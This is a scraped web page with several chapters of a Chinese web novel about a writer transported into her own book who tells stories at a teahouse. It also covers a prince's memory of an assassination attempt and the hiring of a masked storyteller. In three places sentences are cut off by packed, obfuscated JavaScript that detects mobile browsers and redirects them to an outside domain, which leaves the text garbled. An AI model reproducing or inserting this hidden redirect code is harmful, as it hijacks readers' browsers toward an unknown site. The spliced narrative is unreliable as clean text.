江沁月在桌下按住她的手,对那男子说:“公子似乎只点了清茶,要不要和我们拼桌?点心算请你的。” 随即她低声对赵昭兰说:“他来邀月轩听过书,套一下他的话。” “那在下恭敬不如从命了。”狐面男子一个闪身挪到了她们这桌。 各色茶点满满当当地摆了一桌,他毫不客气,挨个尝了个遍。 “公子觉得这些茶点味道如何?”江沁月问,自己也拿起一块高仿版百花酥尝了一口。 “要我说啊,没有你们邀月轩做得好。”他喝了口茶,“太甜太腻。” 江沁月尝过之后也是这个感受,果然如她之前所料。 开玩笑,她们兢兢业业研究出来的配方,只能被模仿,无法被超越。 譬如这百花酥,可不同于普通鲜花饼,馅料以玫瑰花泥为底,以香气最为浓郁的玫瑰花蜜为主调味,加上其余数种花汁增加其味道的层次感,入口甜而不腻,回味唇齿留香。 江沁月并不意外他能认出她们,赵昭兰却稀奇道:“哦?你认得出我们?” 他笑意更甚:“妙笔生的故事很有意思,赵老板的手艺更是一绝。” “你这话的意思,是我的故事讲得还不够好喽?唉,难怪跑来百晓楼了,今日我也观摩学习一下。”江沁月摇头叹息。 “非也非也,他若是讲得好,还用去你们那偷师吗?”狐面男子倾身靠近她们说,“在下其实也是讲故事的一把好手,赵老板不妨考虑一下?” “干什么?抢我饭碗啊?不敢以真容示人,身份可疑,你是何居心?”江沁月拉下脸来。 赵昭兰也满腹狐疑:“你之前在我们那听书,如今又出现在这,你不会是百晓楼的人,想来搅黄我们的生意吧?” 见二人防备心起,他拱手道:“二位误会了,忘了自我介绍,是在下的不是。我叫林三,家里吧有点小钱,想来说书纯粹是兴致所至。这两相比较,在下认为还是邀月轩更胜一筹,故而毛遂自荐。” 江沁月冷哼:“别是编个假身份骗我们,不然为何一直戴着面具?” “在下面有伤疤,相貌丑陋,自己都不忍直视,实在怕吓着外人。” 他又对江沁月说:“妙笔生姑娘,若我能来的话,我们可以轮流登场,你也不必如此辛苦了。” 坏了,这点还真正中她下怀。紧绷着连轴转时还没什么感觉,今日一休息,懒劲就犯了上来,明日后日再后日都想躺平了。 但这人实在可疑,她摇摇头:“疑人不用,不好意思了林公子。” “不用急着拒绝我,我理解你们的顾虑,也请二位相信我的诚意,若是日后需要我,留信到这里就好。”林三说着写下一张纸条递给他们。 “千乐坊?你是林老板的儿子?”赵昭兰看着纸条上的地名,不确定地问道。 千乐坊是京城中最大的赌坊,老板姓林,妻妾成群儿女众多,但赵昭兰也不相熟,不知道他是否有个叫林三的儿子。 亦或是三是他的排行,他不愿意透露真名? 林三没有答话,只低头默默喝茶。 台上的说书人正讲得声情并茂,今日倒是没讲抄来的故事。 “没意思,”林三喝完最后一口茶,起身告辞,“那在下就先走一步了,多谢二位款待,希望我们有缘再会。” 说书人的故事已讲到了尾声,江沁月和赵昭兰也准备离开了。看这情况,茶点方面是不足为惧了,但故事方面她们还可以再精进一下。 至于该如何精进,江沁月还有些一筹莫展。 还未走出茶楼,便听见说书人复又开口:“最后附送各位一则八卦,据可靠消息,太子殿下和颜家小姐,年后应该就要成婚了。” 在座众人炸开了锅,多是祝福与称赞,主角二人在百姓间颇具名望。 江沁月闻言也是一怔,书中她没写到的男女主婚礼,难道有机会让她这个“亲妈”亲眼目睹了吗? 而且如果他此言不假的话,她好像知道可以讲些什么新故事了。 “你怎么知道他们之间的事的?”听完她大胆创新的新想法,赵昭兰面露讶异,“而且太子殿下要是知道我们拿他与颜家小姐当茶余谈资,我们怕是小命不保。” “昭兰姐就别管我从哪知道的了,反正保真,”江沁月嘿嘿一笑,拍胸脯保证道,“你放心,太子殿下定然求之不得,绝不会为难我们。” 这可不是她胡说,她可是作者,穆灼是什么性子她还能不知道吗? 他这一路走来可不容易,颜桃是照亮他生命的光,将他周围的黑暗驱散。二人携手登上高位,他视颜桃为此生挚爱,巴不得他们的故事可以流芳百世。 回去后江沁月便一头钻回房间,抓紧时间研究如何把《东山起》改成适合说书的版本。 而且这故事定然是不能一天讲完的,要详略得当引人入胜,再勾起观众兴趣,用“且听下回分解”来吸引回头客。 这改写也不是一个轻松活,江沁月这两天除了每天下午按时说书,其余时间大门不出二门不迈,专心致志地“闭门造车”。 “江姑娘这几日怎么了?都不见她来吃晚饭。”晚饭时没见到她人影,穆衍便问了一句。 “她想了个新故事,要趁热打铁赶紧搬上台讲,正忙着筹备呢。”赵昭兰说。 “哦?赵老板知道是什么样的新故事吗?”穆衍看起来颇感兴趣,接着问道。 赵昭兰点点头又摇摇头:“大概知道,但沁月说了要保密,殿下见谅。” “无事,我只是好奇而已,之前看过江姑娘的手稿,她的故事很有意思。” 他放下筷子,状似不经意地接着说:“新故事开讲的时候,不知赵老板是否方便替我留个雅间?我的伤也好得差不多了,很想去亲眼瞧瞧现场的热闹。” “自然方便,到时候殿下提前点上去就好,以免被人发现行踪。”赵昭兰爽快答应。 “如此便多谢了。” 江沁月终于携着新故事信心满满地登台了,台下几乎是座无虚席,不过她并不知道,三楼雅间里还有一位“新客”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156637|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不急着开讲,故作神秘地卖了个关子:“今儿个我们来说点更有意思的,不知诸位是否有所耳闻,咱们的太子殿下,如今是好事将近啊?” “当然知道了!全京城谁人不知谁人不晓,太子殿下与颜家小姐年后就要大婚了嘛。”有观众嘁道。 雅间里的穆衍不知道,养伤这些日子他消息十分闭塞,为了保险起见,也甚少与云霏他们通信,他们也不会为这种事传信过来。 江沁月不理台下观众的七嘴八舌,施施然道:“那诸位肯定不知道,太子殿下与颜小姐是如何相识相知,如何花前月下的了。” 众人默了片刻,纷纷称是。观众们目光炯炯,掩不住八卦的兴奋;洗耳恭听,正待她娓娓道来。 试问谁不喜欢听八卦呢?恰好这八卦还离老百姓们不远不近,近在京城,远在皇家,其中详情不足为外人道,但又恰好,不会有人比江沁月更清楚这来龙去脉了。 她正是抓住了吃瓜群众的这种心理,才准备大胆一试。 “要细说这二人啊,就得追溯到许多年前,太子殿下还不是太子的时候了。” “那时他只是三皇子,母家失势,连带着他不受陛下喜爱,被丢在行宫中自生自灭。下人们见他幼小无依,不仅克扣他吃穿用度,还时不时就拿他撒气……这日子过得,说出去是个皇子都招人笑话。” “但他依旧顽强地一天天长大了,十几年来任人欺凌的少年,在某一个明媚的春日,终于幸运地被人看到,从此也有了牵挂和依靠。” “这人就是颜家小姐把?”台下有人接话。 “没错,这二人的初遇,可是一段美救英雄的佳话。” “这行宫平日里无人问津,最是清幽之地,但那日正逢举办宴会,达官显贵们齐聚一堂,好不热闹。三皇子自然不可能赴宴,只寻个偏僻处躲个清静。可我不犯人,人要犯我,那些勋贵子弟四处寻乐游玩,好巧不巧便与这三皇子撞了个正着。” “三皇子长期幽居行宫并不是什么秘密,他们见这少年身着锦衣却破旧非常,瘦得跟竹竿似的,一下子将他的身份猜得七七八八,也知道他极其不受待见。” “这些纨绔公子哥儿,平日里嚣张跋扈惯了,但在王室宗亲面前也只能低声下气。结果今日遇上个好欺负的,于是顽劣的本性便不加收敛,几人登时就将三皇子团团围住,让他道歉。” “三皇子自然是莫名其妙,自己何来错处需要道歉?一人说,自己不受待见就老老实实躲着,别让人撞见了晦气。三皇子不屈不挠,说自己就是在此地躲清静,无意招惹他们。几人见他此状更觉火大,一下子将他推倒在地,挥拳就打。” “双拳难敌四手,幸而此时一位官家小姐路过,她冲上前拉开双方,将三皇子挡在自己身后,那几位纨绔公子知她父亲官职不算高,便威胁她离开,但这位小姐亦是固执,据理力争,那几位气急败坏,但实在不好对一个女子动手,只得拂袖离去。” “这位路见不平拔刀相助的自然就是颜家小姐,她转头安抚三皇子,见他不慎被划破了手掌,便用手绢替他仔细包扎。诸位试想一下,若你是此时的三皇子,心中会想些什么?” “肯定会觉得这位小姐是天女下凡,感激涕零。” “嗐,自然是一见钟情了!” “这又不是话本,怎么可能一见倾心?”有人反驳道。 众人你一言我一语,江沁月接着讲道:“三皇子如何想,我们不得而知。但是据说啊,这块手绢后来被三皇子洗净之后视若珍宝,至今都贴身随时携带呢。” 方才那位说一见钟情的姑娘闻言十分激动:“我没说错嘛!这一听就是早已情根深种!” 讲起自己写的故事时,江沁月更为得心应手,时不时还和大家来点互动,现场气氛十分融洽,观众们也兴致颇高,以至于收工时她还有些意犹未尽。 “诸位,预知后事如何,且听下回分解。明日同一时间,我们不见不散。” 8. 暗夜杀机不忍忆 江沁月心情很好,散场后正打算去和赵昭兰探讨一下新的营销方案,从而招揽更多顾客,将名气进一步打响。 四下打量一圈,没见着赵昭兰的人影,本以为她是在厨房忙活,却见她从楼上下来了。 赵昭兰走到她身边,在她耳边低声说:“快上三楼去,殿下找你,他在最里边那一间。” “太子殿下消息这么快?”江沁月脑子一下子没转过弯,以为是穆灼跑来听书了。 “什么太子殿下!是襄王殿下!他对你的故事很感兴趣,让我提前留了位置。” “他今日全听到了?”江沁月没想到穆衍会跑来听书,心一下子提到嗓子眼。 这听着前未婚妻与自己堂弟的爱情故事,心中该是何滋味? 还要单独叫自己上去……她心中有一种被班主任约谈的紧张感,揣摩着他会说些什么。 以有损皇家体面为由,勒令她不许再把这些拿来说道? 还是质疑她从何处得知,甚至连细枝末节也一清二楚? 虽然穆衍在她笔下是出了名的温润好性子,但在这个世界真正相处过后,她不觉得他是一个完全没脾气的人。 他总是温和有礼,却又时刻给人一种距离感。 “江姑娘请坐,在前楼见着我,怎么还拘束起来了?”穆衍的脸上没有半分不悦,漫不经心地饮着茶。 江沁月讪讪坐下,仔细观察穆衍的神情,却看不出个所以然。 她忍不住先开口问道:“殿下觉得今日的新故事如何?” “何必我说,江姑娘自是心中有数。”穆衍笑了笑,放下茶盏接着道,“很有意思,我明日也想来听下回分解。” “……真的吗?”听他夸赞,江沁月却并未放下心来。 “江姑娘不信本王?虽然我与太子是堂兄弟,但他与淑瑶之间的事,我也所知不多,这些陈年往事就更不清楚了,所以听着很新鲜。” “而且你讲故事时,很会吊人胃口。”穆衍笑意更深,“看来邀月轩以后不仅以美酒佳肴闻名,好茶佳话亦会让人纷至沓来。” 他在三楼雅间里,本来看不见楼下是什么情景,但听着下面喧嚣热闹,他还是忍不住将窗户开了条缝隙,望见台上的姑娘神采飞扬,整个人都熠熠生辉。 人在做自己喜欢的事时,总会发光发热。他也曾在边疆战场上身披金甲意气风发,但以后他也只能在京城养尊处优,时不时被病痛折磨,最后了了此生。 没关系,再也不上战场也好——以后两国之间再无交战,这才是他真正所愿。 明明笑着,眼底却闪过一丝落寞,这是想起了痛失所爱的伤心事?江沁月心中暗想。 “对了,我有些好奇,江姑娘是如何得知淑瑶他们之间的事的?”穆衍话锋一转,状似不经意地问道。 ……果然还是对自己起疑了,但这也正常,一个平民女子上哪去知道这么多内幕详情? “之前偶然从他人处得知,请殿下不要多问了。”她想不出什么能让他完全信服的理由,但这样说的话,他一定不会再追问。 如她所料,穆衍只点点头,没再多问,一贯的温和有礼。 二人又闲聊片刻,江沁月便先离开了,穆衍要等到楼下完全清场再走。 她前脚刚走,一道人影就闪入房间,穆衍有些意外:“你怎么来了?出什么事了吗?” “殿下恕罪,实在是有意外状况,属下不敢欺瞒,这才前来汇报。”年轻女孩气喘吁吁,显然是急行赶来。 穆衍给她倒了杯茶:“喝口茶缓缓,慢慢说。” “刺杀您的人有了下落,活下来的是七星堂首座之一的‘天璇’,我们找到了他的藏身处,但他十分警惕,已经逃出城,云霏去追了。” 穆衍不语,淡淡地瞥了她一眼。 “属下失职,请殿下责罚,我等一定全力追捕,将功赎罪。”女孩刷的一下单膝跪地。 “起来吧,”穆衍说,“一旦逃出京城,那便如泥牛入海,恐怕再难寻其踪迹了,不过他伤得很重,也不太可能单枪匹马再来行刺了。” 女孩不肯起身,执拗道:“请殿下责罚!西辽定然对这次刺杀早有预谋,恐怕是已经得到了您病重的消息,想要趁火打劫来取殿下性命。那‘天璇’多半不会逃回西辽,怕是会伺机蛰伏再次刺杀。” “罚你们也不能改变什么,起来吧。”穆衍叹口气,伸手扶起她,“这些我自然明白。云霞,既然你兄长已经去追,就等他消息吧,暂时不要惊动太多人。” 被唤作云霞的女孩不屑道:“他?那怕是没指望了,殿下,不如我也立马出城,多个人多分机会。” “不必,追不上是情理之中的事。你就留在京城。不日我便要回府了,帮我打点一些事,具体事宜晚些传信给你。”穆衍道。 云霞闻言自是欢欣雀跃,更像是松了一大口气:“太好了!殿下终于要回来了。您不知道,这些日子有好些人来王府探望,甚至陛下都来了一次,我们绞尽脑汁才都打发走了没露馅。” “对了,殿下之前让我们打听那位江姑娘的事……” “有眉目了吗?”穆衍问。 她点点头,犹疑着开口:“确实有些古怪,她像是凭空突然出现在京城的……殿下之前说,这位江姑娘是来寻亲投奔的,可是在她出现在邀月轩之前,京城里没有任何她的行踪。” “属下怀疑她说的可能不是实话,她会不会是西辽的细作?您遇刺的时间地点……又恰好被她所救,这也过于巧合了。”云霞这样说着,语气中却透露着不确定。 穆衍眉心微蹙:“她口中的那些遭遇,或许真假参半吧,但这些日子她行为并无可疑之处,对我的照顾可谓是无微不至,如此这般所求为何?” 云霞当然无从知晓,只能保持沉默。 “至于是不是西辽细作,我虽觉得不太像,但也并非绝无可能,我在这里会继续留意,你先不用管她的事了。” “是,属下不宜在此久留,先行告退。”云霞怕继续待下去惹人生疑,交代完要事便匆匆行礼离开。 茶已凉透,穆衍垂眸看着自己在杯中的模糊倒影,眉眼间笼罩着凝重的阴云。 他不禁又想起了遇刺的那个晚上。 庆功宴上初次发病,那一倒下,他便缠绵病榻数月,日日不间断的汤药喝得想吐,还要针灸、药浴,散不掉的草药气息仿佛将整个王府都腌入了味。 他没有外露过什么情绪,可他的心中满是苦闷。 窗外葱翠的枝叶已经开始发黄凋零,他的情况总算是好了不少,便在那日想趁着深夜无人,出门散散心。 没有叫人跟着,也没有目的地,穆衍随心穿过京城的大街小巷,不知不觉间竟跨过了大半个京城,走到了邀月轩附近。 他站在幽暗的小巷中,前楼彻夜的辉煌灯火却照不到这里。 静谧的夜色中,周围任何细小的动静都会被无限 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156638|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放大,一阵疾风裹挟着浓烈的杀意自穆衍背后袭来,他本能地侧身躲开,但外袍还是被利刃划破一道口子。 穆衍暗暗心惊,好快的剑法,他出来没带武器,身上只有那把庆功宴上御赐的短剑,华丽却无甚用处,几乎只能作装饰。 见一击不中,来人不给他喘息的机会,另外几道人影也从暗处窜出,一同杀向穆衍,招招直逼要害。 他只得拔出短剑奋力抵挡,一时间竟打得有来有回,但那四人配合默契,身形诡谲,他本就身子虚弱尚未恢复,缠斗一久难免有些左支右绌。 穆衍力不从心,渐渐地落了下风,身上深深浅浅的伤口越来越多,他能感受到身体里的血液在慢慢流逝。 那几位刺客也受了伤,见他负隅顽抗坚持了这么久,出手更为狠厉,想尽快了结他。 穆衍又一次闪过一人的攻击时,看见了他耳后的星图刺青。 他心中一沉,这是西辽七星堂的印记,他们竟潜入了京城? “七星堂的人?你们有什么目的?!”穆衍厉声问道。 四人手中刀剑不停,一人冷哼一声道:“自然是来取殿下性命。” “殿下被病痛折磨良久,我等奉命来送殿下早登极乐。”另一人嘻嘻笑道。 疼痛和失血让他眼前开始一阵阵发黑,反应也越来越慢,终是不敌,被人一脚踹中胸口,重重地倒在地上,他大口地咯着鲜血,怕是伤到了脏腑。 四人将奄奄一息的穆衍围在中间,他已是插翅难逃。 “何苦挣扎呢殿下?瞧瞧你这狼狈样,不如早早被我们一刀了断,还能走得好看些。” 一人叹息般地摇摇头,刀尖抵在穆衍胸口,稍稍用力便可让他的心脏停止跳动,但他停在这里,仿佛捕食者玩弄自己的猎物。 就在此时,穆衍猛地徒手抓住刀刃并借力暴起,不顾手掌鲜血淋漓,另一手将短剑刺出。 持刀人没想到他还能爆发出这样的力气,毫无防备地被他刺中心脏,一击毙命。 剩下三人中,有两人立即攻向他,但穆衍如同发了狂,毫不防守,只一味进攻,刺出的剑毫无章法,却有让在场之人同归于尽的决绝,那二人一下子伤得不轻。 有一人反应极快地拉开距离跃上墙头,抬手打出几枚飞镖。落雁镖贯穿了穆衍的肩膀,他早已痛到麻木,浑然不觉。 穆衍此刻的力道非比寻常的大,直把短剑砍得卷了刃。他不知道自己能否将这几人全杀掉,但只能尽力一搏。 忽然,与他缠斗的二人表情痛苦地跪倒在地,穆衍不作细想,直接上前将二人抹了脖子。 还有一个…… 他抬头望向墙头上的最后一个人,那人伤得轻一些,但此刻脸色亦是苍白难看,仿佛忍受着什么巨大的痛苦。 “毒……”他咬牙切齿地挤出一个字。 见穆衍摇摇欲坠地向自己走来,用力扔出了最后一枚落雁镖。 穆衍倒下了。 幸存的刺客来不及查探目标是否气绝,只带上同伴的尸体,消失得无声无息。 穆衍还残存着一点意识,他看向落在手边的那柄短剑,剑身上微微泛着青光,之前竟未发现此剑淬了毒。 他一动不动地倒在粘稠的血泊里,可能血都快流尽了吧?自己的一生就要这样结束,如此难堪地死在一条小巷吗? 天色渐明,穆衍却再也支撑不住,无力地闭上双眼,世界终究是陷入了彻底的黑暗。 9. 江湖救急露真颜 许是上苍也于心不忍,让他被好心人救回,总归是捡回了一条命。 穆衍收回思绪,活下来真的是幸运吗?父母都已不在,他在世上无依无靠,况且身患顽疾,又还能活多久? “为自己执笔,去书写一个圆满的结局吧。” 小聚那晚江沁月的醉话突然浮现在他脑海中,她亮晶晶的双眼也在记忆中清晰无比。 或许他不该命绝于此,但他也不知道,未来还有什么值得期盼的事物。 接下来的几天里,慕名前来邀月轩听书的人越来越多,而三楼最里边的那个雅间,也成了穆衍的专属。 江沁月十分疑惑,“情敌”的故事,当真这么有意思吗? 然而好景不长,江沁月如火如荼的新事业遇到了前所未有的重大危机。 “玉方!我的嗓子!真的不是被人暗害毒哑的吗?”江沁月声音嘶哑,努力扯着嗓子说话。 青玉方面露无奈:“没有毒,你就是长期用嗓过度,积劳成疾。” “早劝过你要注意休息,不能这样折腾自己。这几天你现在绝对不能再上台了,我给你开药。”她语气中带上几分严厉,拿来纸笔着手开方。 江沁月不敢还嘴,却心怀忧虑,凑到赵昭兰身边低声道:“怎么办?现在可是趁热打铁的好时候,不能停呀。” “你的身体要紧,别想这么多了,好好养病。”赵昭兰拍拍她的手以示安慰,“钱是挣不完的,留得青山在,不怕没柴烧。” 江沁月依旧不死心,默默盘算着有没有什么别的办法。 对了!那个自称林三的狐面男子! 说起来,那日百晓楼相谈过后,她便没再见他来邀月轩听过书。 江沁月遂提议,传信给千乐坊,请他来邀月轩一叙。 “你想让他来替你上场?他看起来既不可信也不靠谱……”赵昭兰不太赞成。 “死马当活马医吧,”江沁月重重地叹了口气,“既然他敢毛遂自荐,那我们就看看,他是真有本事还是自卖自夸。” 半个时辰后,邀月轩三楼的一个雅间里。 林三与江沁月、赵昭兰二人相对而坐,大半张脸依然隐匿于狐狸面具之下,坦然接受着二人不加掩饰打量的目光。 “二位邀我前来,可是愿意给在下一个机会?”林三率先开口。 “我想林公子或许得先拿出点真本事瞧瞧,让我们考虑一下,你是否值得这个机会。”赵昭兰也不废话,开门见山。 江沁月没有说话,默默递出本是今日要用的话稿,嗓子哑了的事自然不能先暴露。 赵昭兰点了点话稿,说:“林公子不妨一试?把我二人当成观众就好,给你一刻钟的准备时间。” 林三动作很快,一目十行地看完了稿子,便准备直接开始。 对面二人的目光虎视眈眈,像要立马在他一句话里挑出十个错来似的,但林三不慌不忙,徐徐开口。 有的人天生适合当一个讲述者,娓娓道来的语音语调便足以吸引人屏息聆听,江沁月不属于这种人,所以她在台下努力调整练习。 但林三就是这种人,他只看了一遍稿子就能达到这样的效果。 但只是这种程度的话…… 仿佛知道她心中所想,林三“啪”的一声展开手中折扇,掩住了暴露在外的下半张脸。 故事中的夏夜恰逢天降大雨,于是陡然间,风声、雷雨声、蛙鸣声不绝于耳。 这是……口技?! 江沁月愕然转头,与赵昭兰交换了一个眼神,还真是捡到宝了。 林三颇有几分得意,依旧以折扇掩面,只余一双眼还露在外面。装作楚楚可怜的神情,望向对面二位姑娘, “不知二位客官,对奴家的表现可还满意?”林三掐出来的这声音,可谓是婉转动听,千娇百媚。 江沁月哑着嗓子道:“林公子确有几分真本事,佩服佩服。” 听见她的破锣嗓,林三恍然大悟:“原来是妙姑娘病了,才来请我江湖救急。” “…我姓江,请林公子前来,确实是这个原因,”江沁月道,“只是既然有心合作,林公子却不肯以真容示人,未免太没诚意。” 赵昭兰跟着应和:“林公子对我们是知根知底了,我们却连你长什么样都不知道,万一到时候你来一出狸猫换太子,登台的变成了戴着面具的张公子王公子,可如何是好?” 林三拱手赔罪,解释道:“抱歉抱歉,在下实在是有不得已的苦衷……我家里人不知道我出来干这个,要是被他们发现,非把我抓回去打断腿不可。” “……不至于吧?林老板家风这么严?”赵昭兰有点怀疑地看着他。 “赵老板,江姑娘,请你们相信我,我们可以签契书为证。”林三收起嬉笑的神情,语气十分诚恳。 赵昭兰拿不定主意,用眼神询问江沁月意下如何,江沁月轻微点头。 要想不耽误正常营业,林三毫无疑问是她们的最佳选择。 赵昭兰取来纸笔,准备拟一份契书,当她问林三想要多少酬金,林三很果断:“不用给我钱!” 刚一出口,他便觉得这话不妥,改口说与其他长工一样的工钱水平就好。 打工卖艺不图钱,果然不愧是赌坊老板的儿子。 江沁月不敢深思,一深思就发现她来到这里之后认识的人中,只有自己穷得叮当响。 不过这些都是身外之物,她一个穿越来的,挣够回家之前的生活费就行了。 赵昭兰已经拟好了契书,推给对面的林三:“一式两份,林公子看看,没什么问题的话,就签字画押吧。” 林三仔细阅读着契书上罗列的条条框框,趁他看得认真,江沁月迅速出手,一把扯下了他的狐狸面具。 他自是没想到会有这一茬,抬头与江沁月四目相对,眼神中满是错愕。 面具下这张脸生的是肤白唇红,一双上挑的狐狸眼让他看起来俊秀中又带着几分妖冶。 “面有伤疤?相貌丑陋?”江沁月挑眉看他,她可没忘了上次百晓楼初遇时他的说辞。 “……江姑娘的行为有些逾矩了。”林三对她的质疑避而不谈,看起来有些不悦。 “林公子见谅,为了我们的合作着想,我认为我们彼此坦诚相待还是有必要的。”江沁月耸了耸肩,“而且现在看来,是林公子欺骗在先,你这不是长得挺好看的吗?” 或许是少有被女孩子如此直接地夸好看,林三“噗嗤”一声笑了出来,隐隐的怒火荡然无存。 赵昭兰也笑眯眯开口道:“林公子就凭着这张脸,怕是也能吸引不少小姐姑娘们来听书呢,赏心悦目。” 她指着契书末尾处的空白,煞有介事道:“我看要不再加一条,禁止林公子戴面具登台。” 林三的笑容僵在了嘴角:“二位姑娘,你们邀月轩是正经地方吗?我卖艺不卖身的!出卖色相也不行!” 赵昭兰当然是开玩笑的,林三看她戏谑的神情也反应过来了,但他还是提笔蘸墨,在契书的空白处刷刷写上“此处无任何附加条款”几个大字。 “人前我肯定是不会露脸的,不过以后私下见面我们就坦诚相待吧。”林三说。 “合作愉快,”江沁月说着递给他一沓纸,语气带上一丝严肃,“这些是这两天准备讲的话稿,你先看看,下午我会在楼上当监工哦,林公子,不要让我们失望。” “二位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156639|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心,不过…有些地方我可不可以稍微自由发挥一下?” 见江沁月面露疑惑,林三解释道:“我也知道一些皇家秘事,可以补充讲解。” “咱们都有各自获取消息的途径,我不问江姑娘如何知道得如此详细,江姑娘也别问我,可好?” 江沁月没有异议。 赵昭兰不放心地叮嘱一句:“不该讲的千万别讲啊,自己心中要有数,别给我招来祸事。” “这是自然。”林三点头表示自己明白。 眼见时辰不早,下午林三就要赶鸭子上架,便留在邀月轩和她们一起吃了饭,依旧是赵昭兰亲自下厨。 林三食指大动,赞不绝口。赵昭兰见状承诺,只要他好好干,以后每天包饭。 “话说,我是不是该和江姑娘一样,给自己取个艺名?”林三若有所思道。 “林公子自便。”江沁月嘴上这么说,却暗自腹诽林三也未必是你真名。 林三思忖片刻后有了主意,却故作神秘,让她们拭目以待就好。 下午开场前,邀月轩上上下下已经没了空座,江沁月便溜进了穆衍的专属雅间。 “殿下,叨扰了。” 穆衍还不知道她嗓子哑了,有些诧异她此时此刻出现在这里。 江沁月简单解释了几句,穆衍心下了然,听她说新来的这人神秘可疑却又有些神通,不由得也有些好奇。 未初四刻,林三准时登场,依旧穿着那身花里胡哨的绯红衣袍,戴着那张精雕细刻的狐狸面具。 突然换了说书人,台下观众自然是议论纷纷。 “不是说妙笔生是个讲话很有趣的姑娘吗?这是换人了吗?”一位慕名首次前来的观众疑惑道。 “我好像见过这人?他前段时间也每日都来听书的,今日怎么跑台上去了?”另一位熟客显然是认出了林三那身显眼的打扮。 林三把玩着手中折扇,不疾不徐道:“和诸位一样,我也很喜欢妙笔生的故事,但我觉得我能讲得更胜一筹。恰好今日闲来无事,斗胆登台,不如在座诸位做个见证,评一评我俩谁讲得更好。” 他的声音清朗悦耳,毫不费力地压过了人群的嘈杂声。 底下的人们依旧在窃窃私语,其中看起来最不满的便是那位冲着妙笔生而来的新客。 林三遥遥向他一点,展开手中洒金折扇,掩面娇声道:“客官莫急,若只是想听说话有趣的姑娘讲故事,我又何尝不可呢?” 他故作女声,台下的议论声戛然而止,上上下下霎时间一片安静。 “诸位请听好,好戏还在后头,况且换汤不换药,故事自然还是妙笔生写的,只不过今日由我妙语花来给大家说道说道……” “卖半天关子,就起个这样的艺名……邀月轩改名叫米奇妙妙屋好了。”江沁月汗颜,小声嘀咕道。 穆衍道:“江姑娘落笔成文,妙笔生花;而他登台讲述,妙语连珠,就像你这个作者的解语花,我倒觉得这名字十分贴切。” 当然,他肯定不会知道米奇妙妙屋是什么东西了,但这无关紧要。 饶是他们在三楼,林三的声音也能清晰地传入耳中。他恰如其分地将口技融入进去,让人更加身临其境,也让整个故事更加妙趣横生。 穆衍走到窗边透过缝隙向下看,但林三戴着面具,他自然看不出什么所以然来。 到了散场时,台下观众们意犹未尽,之前的不满早已荡然无存,哄闹着往台上扔打赏。 江沁月见他兴致颇高,一直倚在窗边看,又听见下面空前的热闹,也起身走到窗边,和他一起向下望去。 静立片刻,她忍不住发问:“殿下,他是不是比我讲得好很多?” 10. 执笔缘起今如是 穆衍愣了一下,没想到她会这样问,回头一看,只见她若有所思地望着楼下熙熙攘攘的人群。 他想了想,很认真地答道:“他的表现形式很有意思,很擅长通过高超的技巧来呈现出更好的讲述效果。” 江沁月认同地点点头。 穆衍认真地看着她的双眼,接着道:“但我更喜欢听你讲,你就像是在讲身边朋友的故事,不需要那些技巧,也让人很愿意听你娓娓道来。” “你不用安慰我……明眼人都看得出来,他确实比我讲得好……”江沁月有些赧然。 “我没有安慰你,之前我虽然没来前楼听书,但我知道你每日都在院中预演排练,也看过你的手稿。我能看出来,你喜欢讲故事,没有你也不会有今日这番热闹景象的。” 这话不假,但他要是觉得自己是在为林三的风头无两而黯然伤神,那就大错特错了。 江沁月连连摆手:“殿下心细如针,但我真的没觉得失落……我只是在想,妙语花既然如此游刃有余,不如我退居幕后,安安心心当撰稿人好了。” “比起人前热闹,或许我更喜欢将故事诉诸笔端吧。” “也好,能做自己喜欢的事就是最好的,台前幕后,各有意义。”穆衍唇角勾起一丝笑意。 江沁月深以为然,她喜欢用自己的笔墨构筑想象中的世界,当她实在地来到书中世界后,她便觉得自己的创作更有意义了。 这里的一切,都无比的鲜活真实。 “那殿下喜欢做什么呢?”她话锋一转,状似不经意地问道。 她想旁敲侧击地打探一下任务方向,尽管穆衍是她笔下的角色,但江沁月不得不承认,她只一心把他塑造成了美强惨工具人,对他不甚了解。 而来到这里见到他后,她心里就更没底了……这也难怪,活生生的人岂会是纸上那三言两语描绘出的单薄存在? 穆衍听她这么问,眼中闪过一丝迷茫:“喜欢?我好像没什么喜欢的事情。” “不自谦地说,我勉强算是诗书精通,六艺全能,这也没什么稀奇的,世家子弟向来如此,更何况我是皇室中人。” “印象最深刻的,应当是征战西辽的那两年吧,但我应该再也没机会上战场了…不过我也不喜欢打仗,我希望这样休兵罢战的和平日子,可以一直持续下去。” 和平,算是他的心愿吗?江沁月觉得应该很难帮他实现,但这与他自己的故事结局也没太大关系吧? 穆衍说话时总带着浅浅的笑意,但此刻笑意中似乎蕴含着几分落寞苦涩。 